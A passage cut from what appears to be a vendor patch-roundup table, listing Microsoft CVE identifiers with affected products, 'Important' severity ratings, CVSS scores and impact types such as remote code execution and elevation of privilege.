Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58641\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62871\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62886\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62909\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62872\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65810\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62897\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62900\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  5.9\n  No\n  No\n  Info\n \n \n  CVE-2026-62902\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62899\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  5.9\n  No\n  No\n  SFB\n \n \n  CVE-2026-65777\n  Active Directory\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-59130\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-59131\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62898\n   Microsoft QUIC Information Disclosure\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61357\n  Application\n  Information Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70340\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-65806\n  Azure CycleCloud\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47299\n  Azure Monitor Agent\n  Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-57104\n  Azure Storage Explorer\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62892\n  Capability Access\n  Management Service (camsvc) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65675\n  CoPilot Chat Security\n  Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-65786\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65787\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65788\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70335\n  GitHub Copilot and\n  Visual Studio Code Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64906\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64908\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64912\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64914\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64919\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64920\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59136\n  Microsoft COM for\n  Windows Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54123\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62698\n  Microsoft Digest\n  Authentication Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-66301\n  Microsoft Dynamics 365\n  (On-Premises) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65815\n  Microsoft Dynamics 365\n  On-Premises Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-40375\n  Microsoft Dynamics\n  Business Central Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65673\n  Microsoft Entra\n  Connect Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-68797\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68799\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68802\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68808\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68813\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70318\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70327\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70328\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68793\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68795\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68796\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68798\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68800\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68801\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68803\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68805\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68806\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68810\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68811\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68812\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68814\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68815\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68817\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62912\n  Microsoft Exchange\n  Server Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62910\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-65813\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-62913\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62915\n  Microsoft Exchange\n  Server Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62914\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-59133\n  Microsoft High\n  Performance Computing (HPC) Pack Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59124\n  Microsoft High\n  Performance Computing (HPC) Pack Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62784\n  Microsoft Local\n  Security Authority Server (lsasrv) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68792\n  Microsoft Office\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62842\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63517\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66809\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63524\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63529\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64899\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70314\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70315\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70317\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70323\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63533\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64904\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65656\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65661\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57105\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70306\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  9.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63521\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63528\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63530\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63531\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64917\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66806\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66810\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70319\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63527\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64905\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64915\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70311\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65680\n  Microsoft OneDrive for\n  MacOS Elevation of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70329\n  Microsoft Outlook\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62882\n  Microsoft Outlook\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70313\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70337\n  Microsoft PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70338\n  Microsoft PowerShell\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59138\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-61345\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-70324\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70321\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70326\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70355\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62837\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63514\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63520\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-64901\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65658\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65663\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66805\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66808\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58639\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62829\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62839\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62917\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63516\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64897\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64900\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64902\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64916\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64922\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65660\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63512\n  Microsoft SharePoint\n  Server Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-65767\n  Microsoft Teams for\n  Android and iOS Spoofing Vulnerability\n  Important\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65769\n  Microsoft Teams iOS\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65768\n  Microsoft Teams Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66804\n  Microsoft Windows\n  Cross Device Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59135\n  Microsoft Windows\n  Search Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65814\n  Microsoft Windows\n  Storage Port Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70310\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58651\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-6726 *\n  MITRE: CVE-2026-6726\n  TPM 2.0 Improper Object Slot Reuse\n  Important\n  7.9\n  No\n  No\n  \n \n \n  CVE-2026-6727 *\n  MITRE: CVE-2026-6727\n  TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability\n  Important\n  5.9\n  No\n  No\n  \n \n \n  CVE-2026-65811\n  Power BI Remote Code\n  Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68809\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70312\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70316\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70320\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70322\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70325\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59119\n  PowerShell Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58612\n  PowerShell Information\n  Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-65671\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65672\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-42976\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59134\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61352\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61363\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-54113\n  Remote Procedure Call\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62781\n  RPC Runtime Library\n  Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59125\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-47285\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54981\n  Visual Studio Code\n  Python Extension Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59113\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-69320\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70336\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58650\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69278\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69306\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-62743\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62746\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62786\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62798\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61358\n  Windows Accessibility\n  Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49179\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61348\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70307\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65778\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65779\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65780\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65781\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65782\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65783\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62908\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61927\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61934\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62705\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62722\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62713\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62771\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62728\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62772\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62775\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-72971\n   Windows Container Isolation FS Filter Driver\n  (unionfs.sys) Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61936\n  Windows Defender\n  Firewall Service Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62710\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62747\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65785\n  Windows DHCP Client\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62736\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62755\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61361\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62761\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62776\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62803\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62807\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62812\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62714\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62715\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62716\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62718\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62720\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62742\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62745\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  